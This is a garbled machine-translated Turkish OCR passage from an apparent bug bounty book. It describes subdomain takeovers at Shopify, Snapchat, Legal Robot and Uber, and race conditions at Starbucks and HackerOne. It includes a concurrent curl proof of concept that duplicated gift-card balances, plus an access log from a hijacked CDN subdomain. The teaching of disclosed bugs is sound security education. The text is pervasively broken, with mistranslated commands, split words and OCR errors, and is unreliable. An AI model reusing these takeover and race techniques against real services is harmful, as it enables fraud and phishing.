Calistig1 bagka bir miisteri. Goziinii yakalayan sey denizaltiydi.

etki alanlar1 * .shopify.com idi. Platforma asina iseniz, kayitli magazalar

alt etki alan1 deseni, * .myshopify.com. Bu ek alanlar i¢in bir kirmizi bayrak olmalidir
giivenlik agiklarini test etmek i¢in. Keskin gozlem i¢in Sean Kudos. Ancak, o notta,
Shopify'm program kapsami, programlarini Shopify diikkanlari, yoneticileri ve

API, Shopity uygulamasinda kullanilan yazilim ve belirli alt alanlar. Su hususlar1 belirtmektedir

Eger etki alan1 agikga listelenmemigse, bu kadar tartismasiz bir kapsamda degil.

Sean" ddiillendirmek igin.

Ikincisi, Sean kullanilan arag, crt.sh harika. Bir Etki Alan1 Ad1 Alacak, Organi-

zation Name, SSL Sertifika Parmak 1zi (gelismis aramay1 kullandiysamz daha fazlasi) ve
arama sorgusunun sertifikalariyla iliskili alt alanlar dondiir. Bunu izleyerek yapar

Sertifika Seffaflig: glinliikleri. Bu konu, bu kitabin kapsam1 digindayken,

Ozetle, bu giinliikler sertifikalarin gecerli oldugunu dogrular. Bunu yaparken, ayni1 zamanda bir
tlimii potansiyel olarak gizli olan dahili sunucu ve sistemlerin sayisi ¢ok fazla

Hacklediginiz program tiim alt alan adlarini i¢eriyorsa arastirilmalidir

yok!).

Ugiinciisii, listeyi bulduktan sonra, Sean siteleri tek tek test etmeye basladi. Bu olabilir bir adim
otomatik olun ama unutmayn, bagka bir program iizerinde ¢aligtigini ve takip edildigini sdyledi.

Boylece, windsor.shopify.com testinden sonra, kullanim siiresinin doldugunu tespit etti.

etki alan1 hata sayfasi. Dogal olarak etki alanini satin aldi, simdi aislingofwindsor.com

Shopify kendi sitesine isaret ediyordu. Bu onun bir kurbani kétiiye kullanmasina izin verebilirdi.

bir Shopify etki alan1 gibi gériindiigii i¢in Shopify ile olurdu.
Shopify'a agik oldugunu rapor ederek kesmeyi bitirdi.

3 https:/hackerone.com/reports/150374

132


https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://hackerone.com/reports/114134
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://hackerone.com/reports/150374
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://hackerone.com/reports/150374

Sayfa 145

Alt Etki Alan1 Devralma

c¢ikarimlar

Agiklandig1 gibi, burada birden fazla paket servisi var. {1k &nce, crt.sh ile

alt alanlar1 kesfet. Bir i¢cinde ek hedeflerin bir altin madeni gibi goriiniiyor

programu. Tkincisi, alt etki alan1 devralma yalnizca dis hizmetlerle smirh degildir

Gibi S3, Heroku, vb. Burada, Sean aslinda kaydedilen daha fazla adim att1

stiresi dolan etki alan1 Shopify isaret ediyordu. Kotii niyetli olsaydi,

alan adindaki Shopify oturum agma sayfasini kopyaladi ve kullanici toplamaya basladi
kimlik bilgileri.

4. Snapchat Hizli Alma

Zorluk : Orta
URL : http://fastly.sc-cdn.net/takeover.html

Rapor Baglantisi : https://hackerone.com/reports/1544254

Rapor Tarihi : 27 Temmuz 2016
Odemeli Odiil : 3,000 Dolar
Tanim :

Hizla bir igerik dagitim ag1 veya CDN, icerigi hizli bir sekilde kullanicilara sunmak i¢in kullanilir.
Bir CDN fikri, igerigin kopyalarini diinyadaki sunucularda depolamaktir;
bu igerigi talep eden kullanicilara sunmak i¢in daha kisa siire ve mesafe. Bir digeri

ornek Amazon'un CloudFront'u olacaktir.

27 Temmuz 2016'da Ebrietas, Snapchat’a DNS’leri yanlig yapilandirdiklarini bildirdi.
URL’de sonuglanan http:/fastly.sc-cdn.net , CNAME kaydina sahip bir Fastly’i isaret etti.
sahip olmadig alt etki alani. Bunu ilging yapan, hizli bir sekilde size izin vermesidir.
trafiginizi sifreleyecekseniz, dzel alt etki alanlarini hizmetlerine kaydetmek icin

TLS ile paylasin joker sertifikasini kullanin. Ona gére, ziyaret

URL, “Hizl hata: bilinmeyen etki alani: XXXXX. Liitfen

Bu alan bir hizmete eklendigini kontrol edin.” .

Ebrietas, devralma igleminde kullanilan Hizli URL’yi icermese de, Hizlica

belgeler (https://docs.fastly.com/guides/securing-communications/setting-up-free-

tls), EXAMPLE.global.ssl.fastly.net desenini takip etmis gibi goriiniiyor. merkezli

Alt etki alanina “hizl1 bir stnama 6rnegi” oldugu i¢in bagvuruldugunda, daha da olasidir

Snapchat bunu bir seyi test etmek i¢in Fastly joker sertifikas1 kullanarak ayarladi.

Ek olarak, bu raporu dikkat ¢ekici ve degerli kilan iki ek husus vardir.
aciklayan:

4h_ltps: /hackerone.com/reports/154425
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Alt Etki Alan1 Devralma

1. fastly.sc-cdn.net , Fastchat CDN'sine isaret eden Snapchat'in alt alaniyd: . o
domain-, sc-cdn.net, ¢ok agik degildir ve eger gercekten herhangi biri tarafindan sahiplenilebilir
Sadece bakarak bakarak tahmin etmek zorundaydin. Miilkiyetini dogrulamak i¢in Ebrietas bakti
SSL sertifikasini censys.io ile kapatin. Bu, iyi bilgisayar korsanlarini ayirt eden seydir.
Biiyiik bilgisayar korsanlari, giivenlik agiklarinizi gidermek i¢in bu ekstra adimi yerine getirerek
bir sans vermekten daha fazla.

2. Devralmanin etkileri hemen belli degildi. Onun ilk
Raporda, Ebrietas etki alaninin herhangi bir yerde kullanildig1 gibi gériinmedigini belirtiyor
Snapchat. Bununla birlikte, sunucusunu g¢aligir durumda ve ¢aligir durumda tutuyordu.

sadece Snapchat ¢agrilarini bulma zamanu, alt alanin gergekten kullanimda oldugunu onaylar.

root @ localhost: ~ # cat /var/log/apache2/access.log | grep -v sunucu durumu | gre \

p snapchat -i

23.235.39.33 - - [02 / Aug / 2016: 18: 28: 25 +0000] "GET / bq / story_blob? Story_id = fRaYu \
tX1QBosonUmKavoluA & t=2 & mt=0HTTP /1.1 ...

23.235.39.43 - -[02 / Aug/2016: 18: 28: 25 +0000] "GET / bq / story_blob? Story_id = f3gHI \
TyhW-Q7TeACCzc2nKQ & t=2 & mt =0 HTTP/ 1.1 ...

23.235.46.45 - - [03 / Agu / 2016: 02: 40: 48 +0000] "GET / bq / story_blob? Story_id = fKGG6 \
u9zG4juOFT7-kOPNWw & t =2 mt = | ve kodlama ...

23.235.46.23 - - [03 / Agu / 2016: 02: 40: 49 +0000] "GET / bq / story_blob? Story_id = fco3g\
XZkbBCyGe_Ym8UhK2g & t =2 mt =1 ve kodlama ...

43.249.75.20 - - [03 / Agu / 2016: 12: 39: 03 +0000] "GET / kesfet / dsnaps? Edition_id =4\
527366714425344 & dsnap_id = 56515658813 ...

43.249.75.24 - - [03 / Aug /2016: 12: 39: 03 +0000] "GET / bq / story_blob? Story_id = ftzqL \
Qky4KJ_B6Jebus2Paw & t =2 mt = 1 ve kodlama ...

43.249.75.22 - - [03 / Aug /2016: 12: 39: 03 +0000] "GET / bq / story_blob? Story_id = fEXbJ \
2SDn30s8m4aeXs-7Cg & t=2 & mt=0 HTTP/ 1.1 ...

23.235.46.21 - - [03 / Agu / 2016: 14: 46: 18 +0000] "GET / bq / story_blob? Story_id = fugjK \
J_5yF71_WEDi8eiMuQ & t=1 ve mt = 1 ve kodlama ...

23.235.46.28 - - [03 / Agu / 2016: 14: 46: 19 +0000] "GET / bq / story_blob? Story_id = fIWVB\
XvBXToy-vhsBdzellg & t=1 ve mt =1 ve kodlama ...

23.235.44.35 - - [04 / Agu / 2016: 05: 57: 37 +0000] "GET / bq / story_blob? Story_id = fuZO-\
20uGdvbCSggKAWGTaw & t =0 ve mt =1 ve kodlama ...

23.235.44.46 - - [04 / Agu / 2016: 05: 57: 37 +0000] "GET / bq / story_blob? Story_id = fa3DT \
t mLOMhekUS9ZXg49A & t=0 ve mt= 1 ve kodlama ...

185.31.18.21 - - [04 / Agu / 2016: 19: 50: 01 +0000] "GET / bq / story_blob? Story id = fDL27\
OuTcFhyzIRENPVPXnQ & t =0 ve mt = 1 ve kodlama ...

Raporun ¢dziimiinde Snapchat, taleplerin erisimi igermedigini dogruladi
belirtecler veya ¢erezler, kullanicilara kotii amagli igerik sunmus olabilir. Anlagilan,
Snapchat'ten Andrew Hill'e gore:

Alt Etki Alan1 Devralma

Giris yapmayan eski bir istemciyi kullanan ¢ok kiigiik bir kullanic1 grubu
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CDN deneme siiresinin ardindan statik, sonugsuz_ o
belirlenmis igerik (hassas medya yok). Kisa bir siire sonra, miisteriler

konfigiirasyonlarini yenilediler ve dogru ug noktaya ulastilar. Iginde
Teorik olarak, alternatif medya bu ¢ok kiiciik kullanici grubuna sunulabilirdi.

Bu istemci siiriimiinde kisa bir siire igin.

cikarimlar

Yine, burada birkag yolumuz var. {1k olarak, alt etki alan1 ararken
devralma, ortaya ¢ikt11 gibi * .global.ssl.fastly.net URL'leri i¢in uyanik olun
Hizla baska bir web servisidir, kullanicilarin isimleri global olarak kaydetmelerine izin verir.

ad alani. Alanlar savunmasiz oldugunda, Hizl1 bir sekilde mesaj boyunca bir mesaj goriintiiler.

“Hizl1 etki alan1 yok” satirlari.

Ikincisi, giivenlik agiklarinizi onaylamak igin her zaman ekstra adima gecin. Bu durumda,
Ebrietas tarafindan sahip olunan onaylamak icin SSL sertifika bilgileri bakti
Raporlamadan 6nce Snapchat. Son olarak, devralmanin etkileri her zaman degildir
Hemen goriiniir. Bu durumda, Ebrietas bu servisin kullanildigini diisiinmedi

trafigin geldigini gorene kadar. Devralma giivenlik a¢ig1 bulursaniz,

Servis, herhangi bir istegin gelip gelmedigini gérmek i¢in bir siire bekleyebilir. Bu olabilir
Giivenlik acigini agiklamak igin konunun ciddiyetini belirlemenize yardimei

rapor ettiginiz program etkili olanin bilesenlerinden biridir.

Giivenlik A¢1g1 Raporlart boliimiinde tartisildig gibi rapor verin.

5. api.legalrobot.com

Zorluk : Orta

URL : api.legalrobot.com

Rapor Baglantisi : https://hackerone.com/reports/148770s
Rapor Tarihi : 1 Temmuz 2016

Odemeli Odiil : 100 $

Tamm :

1 Temmuz 2016 tarihinde, Frans Rosen 6 , Legal Robot'a bunlar1 bildiren bir rapor sundu.
api.legalrobot.com i¢in Modulus.io'ya isaret eden bir DNS CNAME girisi yapti, ancak
orada ad alani oldugunu iddia etmemistim.

3 https:/hackerone.com/reports/148770

6 https:/www.twitter.com/fransrosen

Alt Etki Alan1 Devralma
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Modiiliis Uygulamasi1 Bulunamadi

Simdi, muhtemelen Frans’in daha sonra Modulus’u ziyaret ettigini ve altini talep etmeye ¢aligtigini tahmin edebilirsiniz.
bir devralma 6rnegi oldugundan ve etki alan1 modiilii oldugundan, “Herhangi biri
6zel alanlar belirtilebilir ”. Ancak bu 6rnek bundan daha fazlasi.

Bu 6rnegin kayda deger olmasi ve buraya dahil edilmesinin nedeni Frans'm bunu denemesi ve
alt etki alan1 zaten talep edildi. Ama api.legalrobot.com'u iddia edemediginde,
uzaklagsmaktansa, vahsi kart alt alan adin1 almaya calisti, * .legalrobot.com

hangi gercekten calist1.

Alt Etki Alan1 Devralma 137
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Zorluk : Orta

Modulus Wild Card Sitesi Sahiplenildi

Bunu yaptiktan sonra, kendi i¢erigini orada barindirmak i¢in ekstra (kiiciik de olsa) basamaga gecti:

Frans Rosen Merhaba Diinya

Alt Etki Alan1 Devralma

c¢ikarimlar

Bu 6rnegi iki nedenden dolay1 dahil ettim; Birincisi, Frans denizaltisini talep etmeye ¢alistiginda
Modulus iizerinde etki alani, tam eslesme alind1. Ancak, pes etmek yerine,

Joker kart alanini talep etmeye calisti. Diger bilgisayar korsanlari i¢in konusamiyor olsam da
Eger onun yerinde olsaydim, dener miydim bilmiyorum. Oyleyse ileriye gidiyor, eger

Kendinizi ayni konumda bulursaniz, tigiincii taraf hizmetlerinin olup olmadigini kontrol edin.
joker kart talebinde bulunur.

Ikincisi, Frans aslinda alt alan1 talep etti. Bu agik olsa da

bazi, savunmasiz oldugunuzu kanitlamanin 6nemini tekrarlamak istiyorum

raporlanmasi. Bu durumda, Frans, hak talebinde bulunabilmesini saglamak i¢in ek bir adim att1.
alt etki alan1 ve kendi igerigini barindirma. Biiyiik hacker'lar1 farklilastiran sey bu

iyi hackerlardan, raporlamadiginizdan emin olmak igin bu fazla ¢cabay: sarf ediyorum

yanlis pozitifler.

6. Uber SendGrid Posta Alimi

URL : @ em.uber.com
Rapor Baglantisi : https://hackerone.com/reports/1565367
Rapor Tarihi : 4 Agustos 2016
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Odemeli Odiil : 10.000 $
Tanmm :

SendGrid, sirketlerin e-posta gondermesine yardimei olmak igin gelistirilen bulut tabanl bir e-posta hizmetidir.
Anlasilan, Uber onlar1 e-posta teslimat1 i¢in kullantyor. Sonug olarak, bilgisayar korsanlari

Uranium238 ekibi Uber’in DNS kayitlarina bakti ve

Em.uber.com i¢in CNAME, SendGrid’e isaret ediyor (CNAME nin kanonik bir ad oldugunu unutmayin.

etki alani igin bir diger ad tanimlayan kayit).

Bir CNAME oldugundan, bilgisayar korsanlari nasil oldugunu gérmek i¢in SendGrid'i diirtmeye karar verdiler.
alanlar talep edildi ve hizmete aitti. Yazdiklarina gore, onlar

i1k 6nce SendGrid’in igerik barindirma igin izin verip vermedigine bakip

kendi igerigini barindirarak yapilandirma. Ancak, SendGrid agiktir, barindirmazlar

etki alanlari.

Devam edersek, Uranium238 farkli bir secenek, beyaz etiketleme ile karsilasti;
SendGrid'e gore:
SendGrid'in iznine sahip oldugunu goésteren ISS’leri gdsteren islevdir.

sizin adiniza e-posta gonderin. Bu izin ¢ok gosterme hareketi ile verilir

7 https://hackerone.com/reports/156536
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etki alan1 kay1t belgenizden SendGrid'e 6zel DNS girisleri. Bir kez bu DNS

girisler girilir ve ¢ogaltilir, alic1 e-posta sunuculari ve servisleri

gonderdiginiz e-postalardaki bagliklar1 okuyun ve dogrulamak i¢in DNS kayitlarini kontrol edin.
e-posta giivenilir bir kaynaktan baslatildi. Bu 6nemli 6l¢iide

e-posta teslim etme yetenegi ve gonderen sayginligt olusturmaya baslamaniza izin verir

etki alaniniz ve IP adresleriniz igin.

Bu umut verici goriiniiyor. Dogru DNS girigleri olusturarak, SendGrid e-posta gonderebilir
Bir miisteri adina. Tabii ki, em.uber.com’un MX kayitlarina baktigimizda

mx.sendgrid.net (bir posta degistirici, MX, kayit) isaretini gosteren bir DNS kayd tiirtidiir.
bir alic1 etki alan1 adina e-posta kabul etmekten sorumlu olan bir posta sunucusunu belirtir).

Simdi, Uber'in SendGrid ile olan kurulumunu onaylayan Uranium238, SendGrid'in ¢alismalarina katiliyor
akig ve belgeler. Gonderdigine gore, SendGrid bir Gelen Ayristirma Web Kancasi teklif etti.

sirketin gelen e-postalarin eklerini ve igerigini ayrigtirmasina izin verir. Bunu yapmak igin

misterilerin yapmasi gereken:

1. Bir Etki Alanmin / Ana Bilgisayar Adinin veya Alt Etki Alaninin MX Kayitlarint mx.sendgrid.net adresine yonlendirin
2. Etki Alan1 / Ana Bilgisayar Adin1 ve URL'yi Ayristirma API ayarlar1 sayfasinda iliskilendirin

Bingo. 1 Numara ¢oktan onaylandi ve ortaya ¢ikti, 2 Numara yapilmadi,

em.uber.com Uber tarafindan iddia edilmedi. Bu simdi Uranyum238 tarafindan iddia edilen, son
e-postalarin alindigini onaylamak oldu (hatirla, biiyiik hackerlar bu ekstra adima gegti
Iddialarda durmak yerine, tiim bulgular1 bir kavram kanit1 ile dogrulamak;

Bu 6rnekte ayristirma kancast).

Bunu yapmak i¢in, SendGrid bir d* leme sunucusu kurma konusunda bazi kullanish bilgiler saglar.
Buradan kontrol edebilirsiniz.s . Y nlandirilmig bir sunucu ile, bir sonraki adim uygulamaktir.
Gelen e-postay1 kabul etme Yine, vu yaziy1 saglarlar. Bununla beraber
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son olarak, Uranium238, HTTP trafigini yerel sunucularina tiinelleyen ngrok.io dosyasini kullandi.
ve devralma onayladi.
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Ngrok.io kullanarak SendGrid Gelen Ayristirma Konfigiirasyonu

Aynistirllmis e-posta yoluyla alt alan adinin devralinmasinin onay:

Ancak Uranium238 rapor etmeden dnce, birden fazla alt alanin da oldugunu dogrulad:

is, gelistirici, em, e-posta, m, posta, p, p2, giivenlik ve v.

Biitiin bunlar, SendGrid’in ek bir giivenlik kontrolii eklediklerini onayladi.
gelen bir ayristirma kancasi eklemeden dnce hesaplarin dogrulanmus bir etki alanina sahip olmasinm gerektirir.

Bu sorunu ¢ozmeli ve kullanan diger sirketler i¢in artik somiiriilmemelidir
SendGrid.
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c¢ikarimlar

Bu giivenlik ag1g1, tigiinciilere kazmanin ne kadar paha bi¢ilmez olduguna bir baska drnektir
parti servisleri, kiitiiphaneler vb. siteleri kullaniyor. Belgeleri okuyarak,

SendGrid'i 6grenmek ve sunduklari hizmetleri anlamak, Ura-

nium238 bu sorunu buldu. Ek olarak, bu drnekte

devralma firsatlar1 aramak, hangi islevsellik i¢in uyanik olmak

alt etki alanlar1 talep etmenize olanak saglar.

ozet

Alt Etki Alan1 Devralmalari, bir site zaten sahipken gergeklestirilmesi gergekten o kadar zor degil

bir {iciincii taraf servis saglayicisina isaret eden veya kayitsiz olarak kullanilmayan bir DNS girisi olusturdu

alan ad1. Bunun Heroku, Hizli, kayitsiz etki alanlari, S3, Zendesk'te oldugunu gordiik.
ve kesinlikle dahasi var. Bu giivenlik agigin1 kesfetmenin ¢esitli yollar1 vardir.
KnockPy, Google Dorks (site: *. hackerone.com), Recon-ng, crt.sh, vb.

Bunlarin kullanimi bu kitabin Araglar boliimiinde yer almaktadir.

Frans'dan 6grendigimiz gibi, alt etki alan1 devralmalari ararken, agagidakilerden emin olun:
aslinda giivenlik a¢igmin kanitin1 saglayin ve vahsiyi iddia etmeyi diigiinmeyi unutmayin

Servisler izin veriyorsa kart alani.

Son olarak, belgelerin okunmasi sikici olabilir ancak ¢ok kazangl olabilir. Ura-

nium?238 tarafindan saglanan iglevselligi kazarak Uber postalarini ele gegirdi

SendGrid. Ugiincii taraf hizmetleri ve yazilimlari icin mitkemmel yerler oldugu igin bu biiyiik bir paket
giivenlik agiklarini arayin.
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17. Yaris Kosullan

Aciklama

iki islem tamamlamak igin rekabet ettiginde bir yaris durumu giivenlik agi181 ortaya ¢ikar
Birbirine kars1, aleyhinde gegersiz kilinan ilk kosula dayanarak
islemin yiiriitiilmesi. Bunun klasik bir 6rnegi banka arasinda para transferidir.

hesaplar:

1. iginde 500 $ 'lik bir banka hesabiniz var ve bu tutarin tamamuni transfer etmeniz gerekiyor.
bir arkadagsa.

2. Telefonunuzu kullanarak, bankacilik uygulamaniza giris yaparsimiz ve $ 500'unuzu transfer etmenizi istersiniz.
arkadagina.

3. Istegin tamamlanmasi ¢ok uzun siiriiyor, ancak hala isleniyor, bu nedenle
diziistii bilgisayarinizda bankacilik sitesi, bakiyenizin hala 500 dolar oldugunu gériin ve aktariminizi isteyin
tekrar.

4. Birkag saniye i¢inde, diziistii bilgisayar ve mobil talepler tamamlandi.

5. Banka hesabiniz simdi 0 dolar ve hesabinizdan ¢iktiniz.

6. Arkadasiniz size 1000 dolar aldigini séylemek i¢in mesaj gonderir.

7. Hesabiniza tekrar giris yapin ve bakiyenizin 0 TL oldugunu dogrulayin.

Bu, bir yarig kosulunun gergeke¢i olmayan bir 6rnegidir, ¢linkii (umarim) tiim bankalar tanir.
Bu olasilik ve bunu 6nlemek, ancak siire¢ genel kavramin temsilcisidir.

2. ve 3. adimdaki transferler, banka hesap bakiyeniz 500 ABD Dolari oldugunda baslatilir.
Aktarimi baslatmak i¢in gereken kosul budur, yalnizca islem gergeklestiginde dogrulanir
baglar. Zira yalnizca esit veya daha diigiik bir tutar1 transfer edebilmelisiniz.

Bankanizin bakiyesi, 500 ABD Dolari i¢in iki istek baglatarak,

ayn1 miktarda Banka havalesi sirasinda bir noktada durumun

Bakiyeniz 0 ABD Dolarina ulastigindan ve bagka bir havale isteginin

basarisiz (hesabiniza eksi bakiye uygulayamayacaginizi varsayarak).

Hizli internet baglantilartyla, HTTP istekleri aninda goriinebilir ancak hala

yapilacak gok islem var. Ornegin, HTTP istekleri durumsuz oldugundan, her HTTP

gonderdiginiz istek, alici sitenin sizi yeniden tanimlamasini ve ne olursa olsun yiiklemesini gerektirir
Istediginiz islem icin veriler gerekli. Bu genellikle bir ¢erez kullanilarak elde edilir

Hesabiniz i¢in uygulamanin sunucusunda veritabani aramasi yapmak i¢in. Bundan sonra

tamamlandiktan sonra site, yaptiginiz istegi isleme koyar.

Yukaridaki transfer drnegine bakildiginda, sunucu uygulamasi mantig1 sdyle goriinebilir:
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1. Para aktarmak i¢in HTTP istegini alin
2. Veritabaninda yer alan gerezdeki hesap bilgileri i¢in veritabanini sorgulayin.
istek
3. Istegi yapan kisinin hesaba erisimi oldugunu onaylayn.
4. Istenen transfer tutarinin bakiyeden az oldugunu onaylayin.
5. Kisinin transfer talebinde bulunma izni oldugunu onaylayin.
6. Bakiyeyi alan kisinin veritabanini sorgula
7. Bu tutar1 alabildigini dogrulayin.
8. Baglatma hesabindan havale miktarini kaldirin
9. Transfer tutarini alicinin hesabina ekleyin
10. Baslaticiya basarili bir mesaj génderin

11. Transferin alicisina haber verin.

Yine, bu iglem mantiginin asir1 basitlestirilmesidir ve miimkiin olanlarmn timiinii igermez
ancak para transferi yapmak i¢in gerekli olan adimlar1 ve mantig1 gosterir.

Irk kosullarin gesitli sekillerde ele aldim. Tlk sadece

bunlarin hepsi ani veritabani eylemleri oldugu i¢in INSERT sorgularini kullanin. Sadece kullanarak
INSERTS, kayitlarda oldugu gibi degistirilecek kayitlara bakacak zaman gecikmesi olmadig1 anlamina gelir.
UPDATE sorgulari. Ancak, bu yaklasimi kullanmak uygulamanizdan beri her zaman kolay degildir.

Bir tablodaki en son kayitlara dayanacak sekilde tasarlanmig olmasi gerekir;

veya miimkiin olmayabilir. Bir site zaten yogun bir sekilde kullaniliyorsa, bir uygulamayi tekrar yazmak ve

Bu yaklagimi kullanmak i¢in veritabani tasarimi, degerinden daha fazla sorun olabilir.

Ikincisi, verilen bir islem icin bir tabloda yalnizca bir kaydin bulunmasi1 durumunda,

Bir siparisteki ddemeler gibi (iki kez 6demek istemezsiniz), yaris kosullar1 olabilir

veritabaninda benzersiz bir dizin ile ele. Dizinler bir programlama konseptidir

yapilandirilmis bir veri setindeki kayitlar1 tanimlamaya yardimc: olmak i¢in kullanilir; onlar1 daha dnce gordiik
dizileri tartisirken boliimler. Veritabanlarinda, dizinler hizlandirmaya yardimei olmak i¢in kullanilir
sorgular (bunun nasil yapildigina dair detaylar bizim amaglarimiz i¢in énemli degildir)

iki alanda benzersiz bir dizin olugturmak, veritabani ayn1 kombine kars1 koruyacak

degerler iki kez ekleniyor. Yani, siparig ddemeleri olan bir e-ticaret siteniz varsa

order id ve islem_idini igeren iki siitun i¢eren tablo, bunlara benzersiz bir dizin ekliyor

iki siitun, hicbir yarig kogulunun,

Ay siparis / islem kombinasyonu. Ancak, bu ¢dziim yalnizca

Bir veritabani tablosundaki her iglem i¢in bir kayit bulunan senaryolar i¢in gegerlidir.

Son olarak, yaris kosullar1 kilitlerle ele alinabilir. Bu programatik bir kavramdir

diger islemlerin yapamamasi i¢in belirli kaynaklara erisimi kisitlayan (veya kilitleyen)
erig onlara. Bu, baslangi¢ kosullarina erigsimi kisitlayarak yaris kosullarina yoneliktir.
giivenlik agigim tanitmak igin gerekli. Ornegin, paramiz1 aktarirken

Veri tabani, baska bir transfer baslatirken hesap bakiyesine erisimi kilitledi

istegin, bakiye serbest birakilincaya kadar beklemesi gerekir (ve muhtemelen giincellendi)
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bagka bir transfer gergeklestir. Bu, iki istek aktarma olasiligini ele alacaktir

var olmayan bir miktar. Bununla birlikte, kilitleme karmasik bir kavramdir ve
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Bu kitabin kapsami ve yanlis sekilde bagka islevsel hatalar olusturma
site kullanicilari. Asagidaki ii¢ 6rnek, yaris kosullarinin oldugu gercek drnekleri gostermektedir.

bocek 6diil programlarina karst somiiriildi.
Ornekler

1. Starbucks Yaris Kosullari

Zorluk : Orta

URL : Starbucks.com

Rapor Baglantisi : http:/sakurity.com/blog/2015/05/21/starbucks.html:
Rapor Tarihi : 21 Mayis 2015

Odemeli Odiil : 0 TL

Tamm :

Blog yazisina gore, Egor Homakov, her biri degerinde {i¢ Starbucks hediye kart1 aldi
5 $. Starbucks'm web sitesi, kullanicilara hediye kartlarini hesaplara baglamak igin islevsellik saglar
bakiyeleri, para transferini vb. kontrol edin. Kétiiye kullanim transfer potansiyelini tanima

Para, Egor olaylar1 denemeye karar verdi.

Blog gonderisine gore, Starbucks bu giivenlik agigin1 6nleme girisiminde bulundu.
tahmin etme), aktarma taleplerini durumsal yaparak, tarayici ilk 6nce bir POST yapar.
hangi hesabin transfer edildigini ve hangisinin aldigini belirleme istegi;

kullanicinin oturumuna bilgi. Ikinci talep islemi onaylayacak ve

oturumu yok et.

Bunun teorik olarak giivenlik a¢igini hafifletmesinin nedeni yavag islemdir.
Kullanici hesaplarina bakmak ve transfer isleminden dnce mevcut bakiyeleri onaylamak
para zaten tamamlanacak ve sonug ikinci seansta kaydedildi

adim.

Ancak, geri alinamayan Egor, iki oturumun kullanilabilecegini ve tamamlanabilecegini kabul etti.
bir adim iki adimin gergeklesmesini bekliyor, aslinda para transfer ediyor. Iste sahte
yayminda paylastig kod:

1h_llp:/ /sakurity.com/blog/2015/05/21/starbucks.html

Yaris kosullar

# Her iki oturumda da transfer detaylarin hazirla

kivirmak starbucks / step1 -H << Cerez: session = session] >> --data << miktar = 1 & den = duvar \
ET1 & i¢in = wallet2 >>

kivirmak starbucks / stepl -H << Cerez: session = session2 >> --data << miktar = 1 & den = duvar \
ET1 & i¢in = wallet2 >>

#send $ 1 'i ayn1 anda her iki seansi kullanarak m-ciizdan1'den m-ciizdan2'ye

curl starbucks / step2? onayla -H << Cerez: session = sessionl >> & curl starbucks / st \

ep2 onayla -H << Cerez: session2 >> &
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Bu 6rnekte, ilk iki kivrilma ifadesinin oturumlari alacagini goreceksiniz.
son adim2'yi ¢agirir. & Kullanimi bash komutunu ¢aligtirmak i¢in bash komutunu verir.
Boylece, ikincisini ¢alistirmadan once ilk islemin bitmesini beklemeyin.

Biitlin bunlar, Egor’un alt1 denemesini ald1 (neredeyse besinci denemeden sonra neredeyse pes ediyordu).
sonug; hediye kart1 1’den 5°lik iki transfer
hediye kart1 2 (5 dolarlik baslangic bakiyesi, 5 dolarlik iki transfer) ve hediye kart1 3 i¢in 5 dolar.

Simdi, bir konsept kanit1 olusturmak i¢in bir adim daha ileri giden Egor, yakindaki bir Starbucks'u ziyaret etti.

ve Starbucks’a verilecek makbuzu kullanarak 16 dolarlik bir alim yapti.

cikarimlar

Yaris kosullari, bazen var olabilecek ilging bir giivenlik ac181 vektoridiir
uygulamalarin para, kredi gibi bir tiir denge ile ugrastig1 yerlerde,

Giivenlik agigini bulmak her zaman ilk denemede olmaz ve

birkag eszamanli tekrarlanan isteklerde bulunma gerektiren. Iste, Egor alt1 yapti
basarili olmadan dnce istekler ve sonra gitti ve onaylamak i¢in bir satin alma yaptt
kavramn kanit1.

2. HackerOne'1 Kabul Etmek Birden Cok Kez Davet Ediyor

Zorluk : Diisiik

URL : hackerone.com/invitations/INVITE TOKEN
Rapor Baglantisi : https://hackerone.com/reports/119354,
Rapor Tarihi : 28 Subat 2016

Odemeli Odiil : Swag

Tamm :

HackerOne yetkisiz erisime izin verebilecek her tiirlii hata i¢in 10 bin dolarlik bir 6diil sunuyor

gizli hata agiklamalari. Canin seni kandirmasina izin verme, kanitlaman gerek. Bugiine kadar,

2 https:/hackerone.com/reports/119354
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hi¢ kimse bu kategoriye giren gegerli bir hata bildirmedi. Ama bu beni durdurmadi
Subat 2016°da istiyorum.

HackerOne'un islevselligini arastirirken, bir kisiyi rapora davet ettiinizde farkettim
veya ekip, bu kisi ekibe katilmak i¢in bir url baglantisi i¢eren bir e-posta aldi.
yalnizca bir davet belirteci igeriyordu. Sunun gibi olurdu:

https://hackerone.com/invitations/fb36623a821767cbf230aa6fcddcb7e7 .

Ancak, davet aslinda davet edilen e-posta adresine bagl degildi.
herhangi bir e-posta adresi olan herkes kabul edebilir (bu zamandan beri degismistir).

Bunu kétiiye kullanmanin ve potansiyel olarak davet edilmedigim bir rapora veya takima katilmanin yollarini arastirmaya bagladim.
ben de (ki ise yaramadi) ve bunu yaparken de bu semboliin sadece olmasi gerektigini fark ettim.

bir kez kabul edilebilir, yani, yalnizca bir rapora veya programa katilabiliyorum

hesabi. Aklimda, siirecin gdyle bir sey olacagini diigiindiim:

1. Sunucu istegi alir ve belirteci ayristirir.
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2. Belirteg veritabaninda aranir.
3. Bulduktan sonra, hesabim beni ekibe veya rapora ekleyecek sekilde giincellenir

4. Belirteg kayd1 veritabaninda giincellenir, boylece tekrar kabul edilemez

Gergek siire¢ olup olmadigini bilmiyorum ama bu tiir i akist yarist destekliyor

birka¢ nedenden 6tiirli giivenlik agiklarini sorun:

1. Bir kayda bakma ve ardindan kodlama manti8: {izerinde hareket etme siireci yaratir
stirecte bir gecikme. Arama, olmasi gereken 6n kosullarimizi temsil ediyor.
Bir siirecin baglatilmasi i¢in bir araya geldi. Bu durumda, kodlama mantig1 ¢ok uzun siirerse,
iki istek alinabilir ve veritabani aramalar yine de
gerekli kosullar, yani, davet heniiz 4. adimda gegersiz kilmamis olabilir.
2. Veritabanindaki kayitlarin giincellenmesi, 6n kosul ve
sonug artyoruz. Veritabanina eklerken veya yeni kayitlar olustururken
hepsi anidir, kayitlar1 giincellemek veritabanina bakmay1 gerektirir
aradigimiz rekoru bulmak i¢in masa. Simdi, veritabanlar1 i¢in optimize edilmis
Bu tiir faaliyetler, yeterince kayit yapildiginda, yeterince yavaslamaya baglayacaklar.
Saldirganlarin, 1k kosullarini kétiiye kullanma gecikmesinden yararlanabilecegi belirtildi.

